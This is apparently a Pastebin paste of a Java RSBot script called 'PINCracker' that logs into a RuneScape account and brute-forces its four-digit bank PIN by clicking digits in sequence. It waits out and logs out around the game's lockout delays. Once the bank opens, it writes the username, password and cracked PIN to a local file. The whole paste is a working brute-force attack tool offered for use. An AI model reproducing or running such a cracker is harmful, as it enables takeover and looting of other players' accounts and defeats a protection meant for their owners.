Advertisement
Guest User

Untitled

a guest
Sep 17th, 2017
83
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 7.75 KB | None | 0 0
  1. import java.util.logging.Level;
  2.   import org.rsbot.script.Script;
  3.   import org.rsbot.script.ScriptManifest;
  4.   import org.rsbot.script.wrappers.RSComponent;
  5.   import org.rsbot.event.listeners.PaintListener;
  6.   import java.awt.*;
  7.   import java.io.*;
  8.   import org.rsbot.Configuration;
  9.  
  10.   @ScriptManifest(authors = "Pork",  name = "PINCracker", description = "Cracks bank PIN's.", version = 1.0)
  11.   public class PINCracker extends Script implements PaintListener {
  12.  
  13.       private String username = ""; // Change username to your RuneScape username
  14.       private String password = ""; // Change password to your RuneScape password
  15.       private String pin = "1900"; // Change 0000 to the PIN you want to start cracking from
  16.  
  17.       private int state;
  18.       private int tried = 0;
  19.       private long banktimeout = 10;
  20.      
  21.       //Paint variables
  22.       public long startTime = 0;
  23.       public long millis = 0;
  24.       public long hours = 0;
  25.       public long minutes = 0;
  26.       public long seconds = 0;
  27.       public long last = 0;
  28.       public int totalTried = 0;
  29.       public int pinsPerHour = 0;
  30.       public String currentPin = pin;
  31.       public long attemptTime = 0;
  32.  
  33.       public boolean activateCondition() {
  34.      return interfaces.get(13).isValid() || interfaces.getComponent(14, 34).isValid();
  35.       }
  36.  
  37.       public long bankTimeout() {
  38.          return banktimeout;
  39.       }
  40.  
  41.       public void enterCode(final String aPin) {
  42.          if (!interfaces.get(13).isValid())
  43.               return;
  44.      final RSComponent[] children = interfaces.get(13).getComponents();
  45.      state = 0;
  46.      for (int i = 1; i < 5; i++) {
  47.               if (children[i].containsText("?")) {
  48.                   state++;
  49.               }
  50.      }
  51.      state = 4 - state;
  52.      if (!interfaces.get(759).isValid())
  53.               return;
  54.      final RSComponent[] bankPin = interfaces.get(759).getComponents();
  55.           if (state >= 3)
  56.               sleep(300, 600);
  57.      for (int i = 0; i < bankPin.length; i++) {
  58.               if (bankPin[i].containsText(aPin.substring(state, state + 1))) {
  59.                   final RSComponent[] childrenBefore = interfaces.get(13).getComponents();
  60.                   int stateBefore = 0;
  61.                   int stateAfter = 0;
  62.                   for (int j=1; j<5; j++) {
  63.                       if (childrenBefore[j].containsText("?"))
  64.                           stateBefore++;
  65.                   }
  66.         bankPin[i].doClick();
  67.                   sleep(500);
  68.                   while (stateBefore == stateAfter) {
  69.                       final RSComponent[] childrenAfter = interfaces.get(13).getComponents();
  70.                       for (int k=1; k<5; k++) {
  71.                           if (childrenAfter[k].containsText("?"))
  72.                               stateAfter++;
  73.                       }
  74.                       sleep(500);
  75.                   }
  76.                   break;
  77.               }
  78.      }
  79.           if (state == 3) {
  80.               tried++;
  81.               totalTried++;
  82.               if (tried == 2)
  83.                   sleep(11000);
  84.               else if(tried >= 3) {
  85.                   sleep(2000);
  86.                   if(interfaces.get(762).isValid() || (interfaces.canContinue() && interfaces.getContinueComponent().containsText("has been cancelled")))
  87.                       pinIsCracked();
  88.                   else {
  89.                       sleep(14000);
  90.                       tried = 0;
  91.                       while(game.isLoggedIn())
  92.                           game.logout(true);
  93.                   }
  94.               }
  95.               int temp = Integer.parseInt(pin);
  96.               temp++;
  97.               if (temp >= 0 && temp <= 9)
  98.                   pin = String.format("000%d", temp);
  99.               else if(temp >= 10 && temp <= 99)
  100.                   pin = String.format("00%d", temp);
  101.               else if(temp >= 100 && temp <= 999)
  102.                   pin = String.format("0%d", temp);
  103.               else if(temp >= 1000 && temp <= 9999)
  104.                   pin = "" + temp;
  105.               currentPin = pin;
  106.           }
  107.       }
  108.  
  109.       public void login() {
  110.           if(interfaces.get(906).isValid()) {
  111.               if (interfaces.get(906).containsText("account has not logged out"))
  112.                   mouse.click(382, 322, true);
  113.               else {
  114.                   interfaces.get(906).getComponent(171).doClick();
  115.                   while(interfaces.get(906).containsText("Entering game"))
  116.                       sleep(500);
  117.               }
  118.           }
  119.           else if (interfaces.get(596).isValid()) {
  120.               interfaces.get(596).getComponent(65).doClick();
  121.               sleep(1000);
  122.               keyboard.sendText(username, false);
  123.               interfaces.get(596).getComponent(71).doClick();
  124.               sleep(1000);
  125.               keyboard.sendText(password, false);
  126.               interfaces.get(596).getComponent(51).doClick();
  127.               while(game.isLoginScreen())
  128.                   sleep(500);
  129.           }
  130.       }
  131.  
  132.       public void pinIsCracked() {
  133.           log("PIN SUCCESSFULLY CRACKED!");
  134.           log.log(Level.WARNING, "PIN: {0}", pin);
  135.           try {
  136.               BufferedWriter out = new BufferedWriter(new FileWriter(new File(Configuration.Paths.getSettingsDirectory(),"PINCracker.txt")));
  137.               out.write("Username: " + username);
  138.               out.newLine();
  139.               out.write("Password: " + password);
  140.               out.newLine();
  141.               out.write("PIN: " + pin);
  142.               out.newLine();
  143.               log("Info wrote to " + Configuration.Paths.getSettingsDirectory());
  144.               out.close();
  145.           }
  146.           catch (IOException e) {
  147.               log.warning(e.getMessage());
  148.           }
  149.           while(game.isLoggedIn())
  150.               game.logout(false);
  151.           stopScript();
  152.       }
  153.  
  154.       @Override
  155.       public boolean onStart() {
  156.           startTime = System.currentTimeMillis();
  157.           mouse.setSpeed(1);
  158.           return true;
  159.       }
  160.  
  161.       @Override
  162.       public int loop() {
  163.           if (game.isLoggedIn()) {
  164.               if (interfaces.get(13).isValid()) {
  165.                   enterCode(pin);
  166.                   sleep(500,1000);
  167.               }
  168.               else if(interfaces.get(762).isValid() || (interfaces.canContinue() && interfaces.getContinueComponent().containsText("has been cancelled")))
  169.                   pinIsCracked();
  170.               else
  171.                   bank.open();
  172.           }
  173.           else {
  174.               login();
  175.           }
  176.           return random(200,500);
  177.       }
  178.  
  179.       public void onRepaint(Graphics g1) {
  180.           Graphics2D g = (Graphics2D)g1;
  181.          
  182.           millis = System.currentTimeMillis() - startTime;
  183.           hours = millis / (1000 * 60 * 60);
  184.           millis -= hours * (1000 * 60 * 60);
  185.           minutes = millis / (1000 * 60);
  186.           millis -= minutes * (1000 * 60);
  187.           seconds = millis / 1000;
  188.           String hoursString = "" + hours;
  189.           String minutesString = "" + minutes;
  190.           String secondsString = "" + seconds;
  191.           if (hours < 10)
  192.               hoursString = "0" + hours;
  193.           if (minutes < 10)
  194.               minutesString = "0" + minutes;
  195.           if (seconds < 10)
  196.               secondsString = "0" + seconds;
  197.  
  198.           g.setColor(new Color(0, 0, 255, 200));
  199.           g.fillRect(5, 5, 190, 65);
  200.           g.setFont(new Font("Arial", Font.BOLD, 15));
  201.           g.setColor(Color.WHITE);
  202.           g.drawString("Runtime: " + hoursString + ":" + minutesString + ":" + secondsString, 10, 20);
  203.           g.drawString("# of PIN Attempts: " + totalTried, 10, 35);
  204.           g.drawString("Current PIN Attempt: " + currentPin, 10, 50);
  205.           g.drawString("PINs/hour: " + ((totalTried) * 3600000 / (System.currentTimeMillis() - startTime)), 10, 65);
  206.       }
  207.   }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement